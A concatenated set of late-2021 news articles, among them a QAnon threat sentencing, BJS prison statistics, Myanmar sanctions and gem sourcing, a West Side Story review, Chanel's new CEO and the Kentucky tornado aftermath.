and he completed the Senior Executive Institute conducted by the Weldon Cooper Center for Public Service at the University of Virginia in 2019. The supervisors, assisted by The Berkley Group out of Bridgewater, conducted a national search over the last several months that focused on 16 candidates to fill the role, according to county officials. Berkley was paid approximately $33,000 for its services, county spokeswoman Amy Whittaker wrote in an email. Caywoods initial annual salary will be $195,000, Whittaker wrote in an email. Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SPRINGDALE, Ark. (AP) A former city council member and a retired U.S. Navy captain are headed toward a runoff for the Republican nomination for an Arkansas state Senate seat, beating out candidates in a special primary that included 19 Kids and Counting father Jim Bob Duggar. The poll results from Tuesday's election show that Colby Fulfer, who is chief of staff for the city of Springdale, won over 46% of the vote. Steve Unger won over 36% of the vote. The two will face off in a Jan. 11 primary runoff. Duggar drew roughly 15% of the vote. Fulfer was elected to the Springdale City Council in 2016 and served until 2020, the Arkansas Democrat Gazette reported. Unger served 31 years in the Navy. Both announced their bids in November. They and Duggar were among four Republicans seeking their party's nomination for the seat, which opened up following the resignation of Republican Sen. Lance Eads. The election came days after one of Duggars sons, Josh, was convicted in federal court of receiving and possessing child pornography. The elder Duggar previously served one term in the Arkansas House. His large family was featured on TLC's 19 Kids and Counting reality TV show from 2008 to 2015. Edge Nowlin, a retired IBM engineer, was also seeking the GOP nomination. The winner of the primary will face Lisa Parks, an attorney who won the Democratic nomination Tuesday, in a Feb. 8 special election. The story has been corrected to indicate that that Fulfer and Unger are headed toward a runoff for the Republican nomination, not that Fulfer won the Republican nomination. The headline also has been corrected. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. CALmatters is a public interest journalism venture committed to explaining how California's state Capitol works and why it matters. Dan Walters has been a journalist for nearly 60 years, spending all but a few of those years working for California newspapers. " " NASAs Commercial Crew Program astronauts, wearing spacesuits and augmented reality headsets, rehearse returning to Earth from the International Space Station during recent testing at Boeings Extended Reality Laboratory in Philadelphia. Boeing/NASA If you've fantasized about becoming an astronaut and flying to the International Space Station, NASA is willing to help you achieve that goal. And it probably will set you back only about, um, $58 million. The U.S. space agency announced last week that it will allow "private astronaut" missions to the ISS, in which non-NASA space travelers will fly on a private spacecraft developed under NASA's Commercial Crew Program. Two private astronauts will be allowed to fly each year and spend up to 30 days on the ISS. The first such flight could come as early as 2020. Advertisement NASA's specifications for the program require companies to submit detailed proposals for private astronaut missions, in which they describe what activities the private visitors will participate in on the ISS, what sort of equipment and resources they'll need, and what their level of training will be. Once the agency decides that the proposed mission is feasible, it will work with the company to make it all happen. Although the NASA announcement or the specifications didn't spell it out, numerous news media reports interpreted it to mean that the agency is going to allow space tourists to go to the ISS. It wouldn't be the first. Numerous space tourists have flown on Russian spacecraft to the ISS since 2001, and Roscosmos, the Russian space agency, announced in February that it will fly private astronauts in 2021, following the route taken by Soviet cosmonaut Yuri Gagarin, the first human to reach space in 1961. Learn more about space stations in "Space Stations: The Art, Science, and Reality of Working in Space" by Gary Kitmacher. HowStuffWorks picks related titles based on books we think you'll like. Should you choose to buy one, we'll receive a portion of the sale. Now That's Interesting According to NASA's price list, space crews with private astronauts will pay an additional $22,500 per day for vital necessities such as food, air, a medical kit and exercise equipment, among other items. They'll also pay another $11,250 to use the toilet and have wastewater recycled. If they want to download data to Earth, it'll cost them $50 per gigabyte. " " Using seismometers, UChicago scientists (including Becky Goodsell, pictured) recorded hundreds of thousands of 'ice quakes,' a phenomenon that may help track glacier melting. Alison Banwell/University of Chicago There's a corner of the frigid Antarctic where the ice itself shivers at night, according to research published in the journal Annals of Glaciology in December 2018. From late November, 2016 to mid-January, 2017, lead author Douglas R. MacAyeal and his team gathered seismic data on the McMurdo Ice Shelf, a sheet of frozen water that encases part of Antarctica's Ross Sea. Advertisement Out on the ice, the team set up two seismograph stations. One of them dubbed the "wet station" was placed in an area where meltwater lakes were present at and below the surface. Meanwhile, the so-called "dry station" was deposited on a body of compact snow roughly 20 kilometers (12.4 miles) away. Those areas yielded wildly different readings. Every night, from late November to mid-December, the equipment at the wet station would record what MacAyel describes in a press release as "tens, hundreds, [or] thousands" of extremely small seismic events. (Each one began and ended in less than a second.) Nothing like that was observed at the dry station, which mostly picked up anthropogenic, or "man-made" rumblings produced by nearby field vehicles. Yet the wet station quakes were clearly of natural origin. MacAyel and his colleagues hypothesize that they're linked to the area's subsurface water deposits. "In these ponds," MacAyel says in that same release, "there's often a layer of ice on top of melted water below, like what you see in a lake that's only frozen on top. As the temperature cools at night, the ice on the top contracts, and the water below expands as it undergoes freezing. This warps the top lid, until it finally breaks with a snap." For decades, scientists have known that ice can generate seismic activities many of which are very small in scale. A well-documented example would be the alarmingly loud "frost quakes" that allegedly besieged the Chicago area this year. When most liquids freeze, they lose volume and contract. But water isn't like most liquids; the freezing process actually causes H2O to expand. Frost quakes are what can happen when groundwater that's seeped into a plot of soil or rock rapidly freezes. Just as you'd expect, as the liquid water turns into ice, it quickly expands. The resultant pressure can cause the surrounding material to crack, sometimes with a booming noise that sounds like the roar of a shotgun. Frost quakes belong to a larger family of phenomena known as "ice quakes." This label's also been applied to the earthquake-like events triggered by glaciers as they skid across underlying pools of liquid water. But the observations made by MacAyel's group imply that the upper surface of an ice shelf can create its own quakes which has never been suggested before. They hope future scientists will be able to monitor Antarctic melting trends by keeping tabs on these rumblings. NOW THAT'S INTERESTING The Ross Sea was named after Sir James Clark Ross, a British explorer who in addition to surveying much of Antarctica successfully located the magnetic north pole in 1831. The Constitution requires that Congress authorize the Treasury Department to issue bonds to fund the governments debt, which is perpetually increasing because the government spends more than it makes every year to fund itself and government programs like Social Security, Medicare, Medicaid, the Affordable Care Act, the military, and national parks. As the New York Times explained in a recent article, the growing debt required the Treasury Department to seek congressional authorization each time it needed to issue bonds. In 1917, Congress instituted a cap on the monetary amount of bonds the Treasury Department could issue. This process was formalized in 1939 and 1941 with the federal debt limit. At first, raising the debt limit was routine and even required to be included in the budget bills passed by Congress but this faded away as the political climate has become more polarized with conservatives seeking a way to limit the growth of the debt (and the governments spending) and the liberals seeking to make sure that people who rely on the government can be supported. There have been several battles over raising the debt ceiling in recent years with the most recent battle beginning when the debt ceiling was reached in July and the Treasury Department began implementing measures to limit the borrowing of the government. HARTSVILLE, S.C. South Carolina Lt. Gov. Pamela Evette issued a challenge to those attending the Darlington County Economic Development Summit Tuesday afternoon. Evette, a Republican who was elected lieutenant governor in 2018, moderated a panel at the summit held Tuesday morning at the Elizabeth Boatwright Coker Performing Arts Center on the campus of Coker University. Before introducing panelists Andy Carr of the South Carolina Manufacturing Extension Partnership, Ethel Bunch from Sustain SC, Rick Oppendisano from Delta Bravo and Stijn Van de Velde of Gemba Systems, she spoke about the states technical college system. South Carolina has 16 technical colleges including Florence-Darlington Technical College, Williamsburg Technical College and Northeastern Technical College in the Pee Dee. We have the best technical colleges in the country, Evette said. I know this because I was in Cincinnati where my 49 counterparts are continuously asking to come to our state to see what were doing. We are creating the workforce of tomorrow through our technical college programs. COLUMBIA, S.C. The South Carolina House of Representatives Redistricting Committee will offer the public a chance to comment on its proposed congressional redistricting plan Thursday. The plan, like the previously released South Carolina Senate Congressional redistricting plan, incorporates more of Florence County into the Seventh Congressional District (Republican Tom Rice). In specific, all but five precincts in Florence County would be in the district. The remaining five, Lake City Wards 1-4 and Scranton, would be included in the Sixth Congressional District (Democrat Jim Clyburn). All of Darlington, Marion, Dillon, Marlboro, Chesterfield, Horry and Georgetown would also remain part of the Seventh Congressional District. Outside of the Pee Dee, the plan would incorporate northern Colleton, more of southern Dorchester and northern Berkeley counties into the First Congressional District (Republican Nancy Mace). In exchange, that district would give its portions of southern Colleton and Beaufort counties to the Second Congressional District (Republican Joe Wilson). Secretary of State Antony Blinken said the U.S. is prepared to move forward with the sales if the Emiratis decide to do so. Weve wanted to make sure, for example, that our commitment to Israels qualitative military edge is ensured, so we wanted to make sure that we could do a thorough review of any technologies that are sold or transferred to other partners in the region, including the UAE, he told reporters at a news conference in Kuala Lumpur with Malaysias foreign minister on Wednesday. Pentagon spokesman John Kirby told reporters that U.S. requirements on the use of American-made military equipment are universal, non-negotiable, and not specific to the UAE. The U.S. partnership with the UAE is more strategic and more complex than any one weapon sale, Kirby said. A person familiar with the matter said the U.S. believes the Emiratis' move now is a negotiating tactic to try to move the process along. The person, who was not authorized to comment and spoke on the condition of anonymity, said the UAE letter notifying the U.S. of the suspension was written by a relatively low-level official. The Wall Street Journal first disclosed the suspension of negotiations. "The Effectiveness of Certificates of Relief: A Correspondence Audit of Hiring Outcomes" | Main | New BJS report documents big decrease in prison admissions drove 15% imprisonment rate decline in 2020 This Politico article reports on a notable federal sentencing today under this full headline: "QAnon follower gets 28-month sentence for death threats to Pelosi: Judge says continuing election-fraud rhetoric from Republican politicians makes defendant an ongoing threat." Here are some of the details: A QAnon follower from Georgia who brought an arsenal of weapons to Washington just after the Jan. 6 riot at the Capitol was sentenced Tuesday to 28 months in prison for making crude threats to kill Speaker Nancy Pelosi and D.C. Mayor Muriel Bowser. Cleveland Meredith Jr., 53, missed then-President Donald Trumps Jan. 6 rally due to trouble with his truck, but was arrested the following day at a hotel near the Capitol after family members alerted the FBI to threatening text messages hed sent. In a trailer outside the hotel, police found a pistol, an assault rifle and about 2,500 rounds of ammunition, as well as a telescoping gun-sight.... With credit for the more than 11 months he has already served at a D.C. jail facility since his arrest plus good behavior credit, Meredith is likely to spend roughly another 14 months in federal prison before being released.... During a sentencing hearing that spanned more than three hours, Jackson read aloud the series of texts Meredith sent during a drive from Colorado to D.C. and after he arrived in Washington. Thinking about heading over to Pelosi [expletive]s speech and putting a bullet in her noggin on Live TV, Meredith wrote in a message to his uncle on Jan. 7. I may wander over to the Mayors office and put a 5.56 in her skull, Meredith added in an earlier message.... In her statement, Jackson railed against an increase in extreme political language, and she noted that many political leaders continue to make false claims about fraud in the 2020 election. The heated inflammatory rhetoric that brought the defendant to the district has not subsided, the judge said. The lie that the election was stolen and illegitimate is still being perpetrated. Indeed, its being amplified not only on social media, but on mainstream news outlets andits become heresy for a member of the presidentsthe former presidents party to say otherwise. During a brief, emotional statement to the court, Meredith insisted that the threats he issued and his talk of war in the Capitol were just overheated rhetoric. I had no intention. It was political hyperbole that was too hyper, Meredith said. I was out of control that day.... Meredith pleaded guilty in September to a felony threat charge that carries a maximum of five years in prison. The plea deal contemplated a sentence of between six months and two years. However, Jackson found that the non-binding sentencing guidelines actually called for a stiffer sentence of between 37 months and 46 months because the threat to Pelosi targeted a government official. The fact that the government didnt point to this before is odd, said the judge, an appointee of former President Barack Obama. Its hard to suggest that these threats werent about or motivated by the victims performance of their official dutiesThe defendant was not incensed at Nancy Pelosi because she was a next-door neighbor who parked in his parking spot or a former romantic or business partner. Kiyonaga complained bitterly about the increase in the recommended sentencing range and suggested that the change will discourage other defendants from agreeing to plea deals. I painstakingly negotiated a plea agreement with the government, he said. I think the government has gotten a windfall that it should not take advantage of. I think that will reverberate. The judge ultimately sentenced Meredith below the guidelines range, citing in part the harsh pandemic-related conditions at the D.C. Jail, where he is housed with others awaiting trial on charges related to the Jan. 6 Capitol riot. Death threats to Speaker Pelosi leads to 28-month (below guideline, above plea deal) federal sentence | Main | Prison Policy Initiative publishes report on "Winnable criminal justice reforms in 2022" December 15, 2021 New BJS report documents big decrease in prison admissions drove 15% imprisonment rate decline in 2020 The Bureau of Justice Statistics has released its latest detailed accounting of US prison populations in this big report titled "Prisoners in 2020 Statistical Tables." The BJS data capture realities at yearend 2020, and thus reflects lots (but not all) COVID-era developments. Here is part of the start of the document, along with some of its "highlights": In 2020, the number of persons held in state or federal prisons in the United States declined 15%, from 1,430,200 at yearend 2019 to 1,215,800 at yearend 2020. Only Alaska showed an increase (2%) in its prison population, while other jurisdictions showed declines of 7% to 31%. The number of persons sentenced to more than 1 year in state or federal prison decreased from 1,379,800 in 2019 to 1,182,200 in 2020. Te combined state and federal imprisonment rate for 2020 (358 per 100,000 U.S. residents) represented a decrease of 15% from 2019 (419 per 100,000 U.S. residents) and a decrease of 28% from 2010 (500 per 100,000 U.S. residents). The COVID-19 pandemic was largely responsible for the decline in prisoners under state and federal correctional authority. Courts significantly altered operations for part or all of 2020, leading to delays in trials and/or sentencing of persons, and this was refected in the 40% decrease in admissions to state and federal prison from 2019. While the number of releases also declined during 2020, releases occurred at a slower rate (10%) than the decrease in admissions. Although deaths represented 1% of the total releases from prison in 2020, the number prisoners that died under the jurisdiction of state or federal correctional authorities in 2020 (6,100 prisoners) increased 46% from 2019 (4,200). From 2019 to 2020, the decline in the number of females sentenced to more than 1 year in prison (down 22%) outpaced the decrease in sentenced male prisoners (down 14%). The imprisonment rates for U.S. residents in all racial or ethnic categories decreased by 12% to 16% from 2019 to 2020 and by at least 25% from 2010 to 2020. The imprisonment rate for black U.S. residents decreased 37%, from 1,489 per 100,000 in 2010 to 938 per 100,000 in 2020. Highlights At yearend 2020, the number of prisoners under state or federal jurisdiction had decreased by 214,300 (down 15%) from 2019 and by 399,700 (down 25%) from 2009, the year the number of prisoners in the United States peaked. Nine states showed decreases in the number of persons in prison of at least 20% from 2019 to 2020. The prison populations of California, Texas, and the Federal Bureau of Prisons each declined by more than 22,500 from 2019 to 2020, accounting for 33% of the total prison population decrease. In 2020, the imprisonment rate was 358 per 100,000 U.S. residents, the lowest since 1992. From 2010 to 2020, the sentenced imprisonment rate for U.S. residents fell 37% among blacks; 32% among Hispanics; 32% among Asians, Native Hawaiians, and Other Pacifc Islanders; 26% among whites; and 25% among American Indians and Alaska Natives. The number of admissions to federal prison (down 19,000) and to state prison (down 211,800) both declined by 40% from 2019 to 2020. Releases from federal and state prisons decreased during 2020 (down 58,400 or almost 10% from 2019), but at a lower rate than the decrease in admissions. I find it fascinating and telling that our nation actually did not release more people from prison during an historic pandemic, but it did have a harder time continuing to send a massive number of new people to prison. I am thus tempted to joke that, like lots of other segments of our society, America's mass incarceration system has also had "supply chain" issues that has impacted its usual functioning. Whether these patterns have continued into 2021 and beyond as this pandemic lingers on will be worth watching closely. December 15, 2021 at 10:46 AM | Permalink Comments Post a comment A child hugs his mother as he waits for his dose of the Pfizer-BioNTech vaccine in Montreal, Quebec (AFP/Andrej Ivanov) The Canadian government on Wednesday urged citizens to avoid foreign travel over the Christmas holidays, saying the Covid-19 Omicron variant "makes us fear the worst," including soaring infections and travel disruptions. The travel advisory will be re-evaluated in four weeks, but public health restrictions could be imposed in the interim if the pandemic situation worsens, officials told a news conference. "Our government is officially advising Canadians to avoid non-essential travel outside Canada," Health Minister Jean-Yves Duclos told a news conference. "Those who are planning to travel, I say very clearly: Now is not the time to travel. The rapid spread of the Covid variant on the global scale makes us fear the worst," he said. "Traveling Canadians could contract the virus or get stranded abroad." At an emergency meeting late Tuesday, Prime Minister Justin Trudeau had proposed closing the border, but the measure was roundly rejected by provincial leaders, a source told AFP. Duclos said Covid-19 testing of travelers at Canadian airports would be increased and other public health measures would be rolled out in the coming days. "There will certainly be other public health measures (coming), because the situation will continue to evolve," Duclos said. "The epidemiological situation is changing rapidly. The information currently available suggests a significant resurgence of infections, even without taking into account the new Omicron variant," he said. Earlier, Trudeau told reporters that Canadians should "take careful decisions in regards to Christmas festivities." "I understand this sucks," he later added. "This is not what anyone wanted for our Christmas holidays." Last year around this time, all arriving travelers to Canada were required to quarantine for 14 days. The World Health Organization warned Tuesday that Omicron variant cases were multiplying at breakneck speeds and urged quick actions by countries to try to slow its spread. As of Wednesday, there were 40,000 active Covid-19 cases in Canada, and at least 4,500 new infections reported by public health authorities. amc/sw US Secretary of State Antony Blinken has said Washington is considering new measures to pressure the Myanmar junta (AFP/OLIVIER DOULIERY) The United States is considering new measures to pressure the Myanmar junta to return to a "democratic trajectory", Secretary of State Antony Blinken said Wednesday, as alarm grows over an escalating crackdown on dissent. Myanmar has been in chaos since February when Aung San Suu Kyi's civilian government was ousted by the military. The United States has imposed some sanctions and regional bloc the Association of Southeast Asian Nations (ASEAN) has drawn up a peace roadmap, but there are serious doubts about the generals' commitment. Speaking during a visit to Malaysia -- among several ASEAN states that have strongly criticised the coup -- Blinken conceded that the "situation has not improved". "I think it is going to be very important in the weeks and months ahead to look at what additional steps and measures we can take -- individually, collectively -- to pressure the regime to put the country back on a democratic trajectory," he said. "That is something that we are looking at," he added, without saying what the measures might be. The coup triggered nationwide protests but the junta has responded with a brutal crackdown that has left more than 1,300 people dead and seen thousands arrested, according to a local monitor. Blinken also said the United States was looking "very actively" at whether the treatment of the Rohingya Muslim minority in Buddhist-majority Myanmar might "constitute genocide". The group faces widespread discrimination in Myanmar, and hundreds of thousands fled to neighbouring Bangladesh in 2017 following a military crackdown. - 'Alarming escalation' - Last week, the United Nations warned of an "alarming escalation" of human rights abuses in Myanmar as the military tried to crush dissent. They were responding to the reported killing of 11 villagers, including children. The United States said it was "outraged by credible and sickening reports" the military tied up and burned the victims alive. Story continues The junta, locked in a bloody stalemate with militias fighting to overturn the coup, denied the claims. The generals have shown little sign of changing course despite sustained diplomatic pressure. ASEAN took the unprecedented step of banning junta chief Min Aung Hlaing from its October summit after the generals refused to let the bloc's envoy meet Suu Kyi. But there are signs that Cambodia - which takes over ASEAN's rotating chairmanship next year -- is seeking to bring Myanmar back into the fold. Its strongman premier Hun Sen plans to travel to the country for talks in January, becoming the first international leader to visit Myanmar since the coup. Last week, Suu Kyi was sentenced to two years' detention for incitement against the military and breaching coronavirus rules, drawing fresh condemnation from around the world. The junta has justified the coup by alleging electoral fraud in last year's poll, and Suu Kyi faces a raft of further charges that could see her jailed for decades if convicted. fff-sr/qan "There's much less reserve and flexibility now than we had a year ago, and I think we're only entering the really bad part of this respiratory season," Dr. James Lawler said. "I think we're going to get the triple whammy of delta, omicron and flu." For everyone who has suffered through a bad production of West Side Story, theres Steven Spielbergs new version an exciting, relevant remake that is as riveting as any thriller on screen. The reason it works (and stage productions dont) is because Spielberg wasnt afraid to mix things up move songs, create characters and change the choreography. The result is much more than a Romeo and Juliet ballet. Its a look at race relations, gentrification and immigration. Its also a masterpiece of cinematography, thanks to Janusz Kaminiski. Scenes move and rarely settle down. That creates tension and makes the films resolution impossible to predict. Is it better than the original film? Yes. Does it cover new turf? Again, yes. But at the heart of the musical is a simple love story complicated by the lovers extended families. Maria (Rachel Zegler) meets Tony (Ansel Elgort) at a dance and, quickly, theyre smitten. She, however, is Puerto Rican; hes Polish and theyre in 1957 New York, where turf wars are just as obvious as they are today. Her friends and family dont like his; her brother, Bernardo (David Alvarez), is just as influential as Tonys friend, Riff (Mike Faist). While Tony and Maria come together the bleachers, the others are battling on the gym floor. Plans spill out for a showdown and, soon, the wheels are in motion for one of those oh-so-familiar rumbles. But Spielberg doesnt make any of this familiar. He sets scenes in interesting places and changes Marias friend, Anita (Ariana DeBose), into much more than Bernardos girlfriend. Rita Moreno, who played Anita in the original film, turns up here as Valentina (a character who wasnt in the original), the owner of a drug store and sounding board for Tony. As someone who has seen these struggles for years, Valentina becomes the last best hope for everyone. While Zegler and Elgort go through paces with relative ease, theyre outdone by DeBose and Faist, who are remarkable. She helps us understand the toxic masculinity of the era; he imbues it. All arms and legs, Faist hardly seems like the kind of guy who could lead a gang. But once he gets into the mix, the Jets take off. His voice, alone, makes this film seem like something new. Toss in a jaw-dropping set (that duplicates blocks of New York that were bulldozed for Lincoln Center), dances by Justin Peck (that pay homage to the Jerome Robbins originals) and a screenplay by Tony Kushner (thats gritty and heartfelt) and this West Side Story towers over the other. Credit Spielberg, too, for not shying away from something that had seemingly been frozen in amber. The Jurassic West Side Story was merely a jumping off point for this superior one. Its one of the years best films and proof you can go home again as long as youre willing to make the place better than you found it. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Staying in? We've got you covered Get the recommendations on what's streaming now, games you'll love, TV news and more with our weekly Home Entertainment newsletter! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. NEW DELHI (AP) The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. Nair tweeted that she was humbled and honored to be appointed the Global Chief Executive Officer of @CHANEL, an iconic and admired company. The news made a huge splash Wednesday in India, Nairs birthplace, where she received scores of congratulations and compliments to her announcement, one calling her a serial glass-ceiling breaker. The appointment is full of historic firsts," said Abhay Gupta, CEO and founder of consultancy group Luxury Connect in India. I am elated. This is the first time an Indian is heading a global luxury brand, that too an Indian woman, and its the first time a fashion industry outsider has been picked, he said. People of Indian origin are at the helm of a number of global tech, finance and other companies, but the same cant be said for luxury brands. Gupta, who also runs a school for luxury management, said his students would be inspired by the news. Its very encouraging and motivating, especially since we havent seen this before. Coming from a non-luxury background, I expect shell bring fresh perspective its a sign that things are changing, he said. While Nair, 52, is not a part of the Paris fashion scene, Chanel has a wide range of products in addition to its high fashion designs, including eyeglasses, watches and makeup. Nair is succeeding billionaire co-owner and chairman of privately held Chanel, Alain Wertheimer, as CEO. A grandson of Chanel co-founder Pierre Wertheimer, he remains as global executive chairman of the fashion house. In a press announcement, Chanel said Nair's hiring will further ensure long-term success as a private company." Nair is due to step into her new role in January and shell be based in London. British consumer goods giant Unilever describes Nair as its first woman, first Asian and youngest chief human resources officer. She joined Unilever in 1992 in India and advanced up the ranks, spending time at the company's factories early on. Nair's appointment is a welcome change from the kind of formulaic model of the executives that tend to run major luxury brands, said Imran Amed, founder and CEO of the Business of Fashion, an influential industry news website. While its not uncommon for fashion brands to tap people from consumer goods companies for senior jobs, they usually come from marketing departments because of their expertise in managing brands a luxury fashion companys most important asset. But Chanels decision to hire Nair, with her lengthy background in human resources, underscores the companys efforts to adapt to evolving consumer and workplace attitudes toward sustainability and diversity, Amed said. Rivals like Kering, which owns Gucci and Yves Saint Laurent, have moved faster to stake out leadership positions when it comes to both rising consumer awareness of the industrys environmental impact and the importance of inclusive hiring as they battle for talent, Amed said. Nair has really been focused on these kinds of topics during her time at Unilever, Amed said. I think that that signals a really important challenge for Chanel as it seeks to modernize its corporate culture. Her appointment is seen back home as a sign of the rising stature of Indian business leaders. It's also a milestone for women, because so few of them head up big luxury brands, Amed said. In her social media posts, Nair, who is married to financial entrepreneur Kumar Nair and has two sons, has described India-born former PepsiCo CEO Indra Nooyi as a friend and mentor. Nair herself recently was awarded the Great British Businesswoman Role Model of the Year award. But she is not the first woman to be CEO of Chanel. Earlier, Francoise Montenay and American Maureen Chiquet held that role. And of course, the co-founder of Maison de Chanel was a woman, the late Gabrielle Coco Chanel. AP Business Writers Kurtenbach reported from Bangkok and Kelvin Chan contributed from London. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 NEW YORK (AP) An inmate died Tuesday at New York City's notorious Rikers Island jail complex after he was found in his cell in medical distress, the citys Department of Correction said. The death of 55-year-old William Brown is the second of a city inmate in the last five days and the 16th this year in the city's troubled jail system the most since 2013. Officers activated a medical emergency upon finding Brown and attempted to resuscitate him with CPR. Brown was pronounced dead around 11:46 p.m. Tuesday, officials said. A 28-year-old inmate, Malcolm Boatwright, died Friday at Bellevue Hospital after experiencing a medical issue. Brown had been at the jail since Nov. 14, following his arrest on charges of larceny and possession of stolen property. Court records show he had several other pending cases. In a statement, Correction Commissioner Vincent Schiraldi said: I am devastated to know that another person entrusted in our care has passed away. We will work diligently to determine the circumstances surrounding his death. My deepest sympathy goes out to Mr. Browns loved ones. The Legal Aid Society, which was representing Brown, said his death was unconscionable and could have been prevented had those in power listened to the calls from defenders and others to decarcerate the city's jails, referring to a push to limit pretrial detention, find alternatives to incarceration and largely empty jails. The citys jail system, troubled by years of neglect, has spiraled into turmoil during the coronavirus pandemic with a spike in inmate deaths, violence, self-harm and staff absences. Of this years deaths, at least one man died soon after being granted compassionate release from jail. Another was taken off life support after attempting to hang himself in a holding area at Manhattan Criminal Court. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. MAYFIELD, Ky. (AP) A Kentucky man suffered a fatal heart attack while cleaning up storm debris at his daughter's home, authorities said as the death toll edged upward from a recent tornado outbreak across multiple U.S. states. Services for Terry Martin Jayne, 67, were scheduled Wednesday in his hometown of Russellville. Warren County coroner Kevin Kirby said Jayne suffered the heart attack Saturday and was taken to an emergency room where he was pronounced dead. Jayne had been helping clean up debris at his daughter's home in Bowling Green, where officials said 14 others were killed by a tornado, including 11 people on one street. According to his obituary, Jayne had operated a floral shop for 45 years. He is survived by his wife, a son and daughter, three grandchildren and four siblings. He was, as he always was, helping someone else, Jayne's brother, Bruce Russell-Jayne of Carmel, Indiana, wrote on Facebook. Rest in Peace my Little Brother. We are in shock and cant believe you are gone. Jaynes death pushed the total of storm-related casualties in five states to 89, including 75 in Kentucky. The National Weather Service continued to assess the scope of the storm. Eight states recorded at least 41 tornadoes during the severe weather that occurred on Dec. 10 and 11, including 16 in Tennessee and eight in Kentucky. On Wednesday, the weather service said the tornado that tracked across a wide swath of western Kentucky, from Fulton to Muhlenberg counties, was preliminarily classified as an EF4, with peak estimated winds of 190 mph (305 kph). The most significant damage occurred in Arkansas, Tennessee, Missouri and Kentucky, where President Joe Biden visited on Wednesday to comfort those who suffered grievous losses in the storms. In Kentucky, Lacedric Richardson and his two daughters stopped by to pick up some necessities at Mayfield High School, where the gymnasium was packed with food, clothes, toiletries and other supplies. Richardson, 36, said he was scheduled to be at work Friday at the candle factory where eight of his co-workers were killed, but happened to be out sick. I feel all kinds of mixed emotions knowing that I could have been there, he said. I feel grateful, but then I feel like I could have done more if Id have been there. The candle company announced this week that it will give each employee $1,000 to help with expenses and perform an independent review of its emergency protocols. The state is also investigating the factory deaths. Raby reported from Charleston, West Virginia. Associated Press reporter Dylan Lovan in Louisville, Kentucky, and AP Science Writer Seth Borenstein in Washington, D.C also contributed. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BANGKOK (AP) Human rights activists are lobbying major jewelers to stop buying gems sourced in Myanmar as a way to exert pressure on Myanmars military leaders by limiting profits from the countrys lucrative mining industry. A report by the group Global Witness released Wednesday outlines how the army is involved in gemstone mining despite a moratorium on new licenses put in place before the military seized power on Feb. 1, ousting the government of Nobel Peace laureate Aung San Suu Kyi. It comes as legislation is pending in the U.S. Congress, the Burma Act of 2021, which would prohibit all U.S. imports of Myanmar gemstones. There is no such thing as an ethically sourced Burmese ruby, Clare Hammond, senior Myanmar campaigner at Global Witness, said in a statement. These gemstones are sold as symbols of human connection and affection, yet the supply chain is steeped in corruption and horrific human rights abuses. Last week, luxury jeweler Harry Winston announced it would no longer buy gemstones with Burmese origins regardless of when they were imported. Indian jewelry company Vaibhav Global said in late November it had removed all listings of products including Myanmar gems while it investigates their sourcing. Vaibhav's products are sold widely online, including on Amazon, Overstock and Walmart's sites. Tiffany & Co. never resumed using Burmese gems after U.S. sanctions against Myanmar were lifted in 2016 when the country was in the midst of political and economic reforms following decades of military rule. Cartier, Signet Jewelers - the owner of the Zales, Kay Jewelers and Jared chains - and Boodles also have declared they are not sourcing gemstones from Myanmar. But prized Burmese pigeon blood" rubies and other beautiful gemstones are easily available on many e-commerce sites, as are costly items of jewelry adorned with gems from strife-torn Mogok and other mining areas. Global Witness and other groups are urging all retailers of gems and jewelry to follow suit in halting purchases and sales of such products, describing the jade and gemstone sector as one of the military's most important sources of funding, especially following the takeover 10 months ago that has ignited widespread political turmoil. Smuggling and illicit sales make it hard to know exactly how big the industry is, but revenues from sales of jade, pearls and gemstones are estimated to run into the billions of dollars. Myanmar's natural resource wealth is proving to be a lifeline for the generals," the report says. For decades the military has consolidated its rule by looting the countrys valuable natural resources.'' Confronted with widespread public opposition to their seizure of power, the military has engaged in mass torture, launched attacks on medics and forcibly disappeared thousands of people. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Two state-run Myanmar conglomerates, Myanmar Economic Corp. and Myanma Economic Holdings Ltd., dominate the jade and gems trade through various subsidiaries. Other gem traders are thought be associates of Senior Gen. Min Aung Hlaing, who led the military takeover. The U.S. and other governments have imposed sanctions on some military-affiliated companies, army leaders and their families. One of the companies subject to sanctions is Myanma Gems Enterprise, which is in charge of licenses and permits for mining gems and jade and collects revenues from their sale. The Global Witness report, which analyzed official data, estimates that the gemstone industry alone generated revenues of $346 million to $415 million when it was in full operation, though much of the gems trade is conducted through illicit channels. Suu Kyi's government suspended renewing or granting new licenses in 2016 and the last existing license expired in 2020. So mining activity now is unauthorized, or at least not based on publicly disclosed licensing. Much of the mining is in Mogok township, where most of Myanmar's rubies, sapphires and other gems are unearthed. With big operators not in business, mining is mostly done by hand under perilous conditions, the report said. Many gemstones are processed in Thailand and by the time they are imported their origin has become unclear, it said. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 LANSING, Mich. (AP) Michigan legislators late Tuesday passed a $1.5 billion bill with state incentives to land major business projects, including an electric vehicle battery factory that General Motors wants to build in the Lansing area. Once Gov. Gretchen Whitmer signs the funding and related bills into law, $1 billion in state revenue will go to the new Strategic Outreach and Attraction Reserve Fund. Legislative budget committees would have to approve transfers from the account to new site readiness and critical industry funds before the state's economic development board could distribute grants, loans and other assistance to companies. Thanks to the effective collaboration of legislative leadership in both parties, our state will be competitive for every dollar and every job for years to come, the Democratic governor said in a statement. The funding legislation was approved on 25-11 and 78-25 votes in the Senate and House before lawmakers adjourned for the year. As part of the deal, she will sign $409 million in aid for restaurants and other businesses that lost money in the pandemic. The Republican-controlled Legislature also approved a $75 million tax cut for businesses that pay taxes on nonindustrial equipment and personal property. The 